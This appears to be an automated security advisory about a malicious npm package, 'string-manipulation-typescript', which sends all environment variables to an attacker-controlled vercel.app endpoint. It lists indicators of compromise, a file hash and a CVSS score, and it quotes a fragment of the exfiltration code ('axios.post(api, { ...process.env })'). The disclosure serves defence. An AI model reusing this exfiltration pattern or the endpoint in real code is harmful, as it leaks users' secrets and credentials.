GCVE-110-OSM-2026-4258

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published May 16, 2026

[osmalyze-auto] Malicious package detected. Behaviors: data exfiltration, obfuscated code. [osmalyze-auto] Entrypoint: index.js (main: index.js) Exfil: https://ip-core-api-0511.vercel.app/api (custom-c2, recovery: decoded in index.js) Payload: index.js Key findings: - Environment Variable Exfiltration in index.js: "process.env }) return axios.post(api, { ...process.env }, { headers: { "..." - Decoded Base64 Content in index.js - Dynamic Base64 Decoding in index.js: "atob(s)" - Brand New Package - Very New NPM Publisher Account IOCs: - urls: https://eth-mainnet.alchemyapi.io/v2/demo-alchemy-0123456789abcdef, https://public@sentry.example/12345, https://ip-core-api-0511.vercel.app/api - emails: public@sentry.example - domains: ip-core-api-0511.vercel.app - payloadFileHash: bdd5e8d03a5be4723a9ab9adb5b0ecb517b6ccde6111a1b032662bac9b2bfb5f Decoded/deobfuscated IOCs: - urls: https://ip-core-api-0511.vercel.app/api - domains: ip-core-api-0511.vercel.app

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	string-manipulation-typescript	all (affected)	—

References

Malicious npm package: string-manipulation-typescript

advisory

vendor

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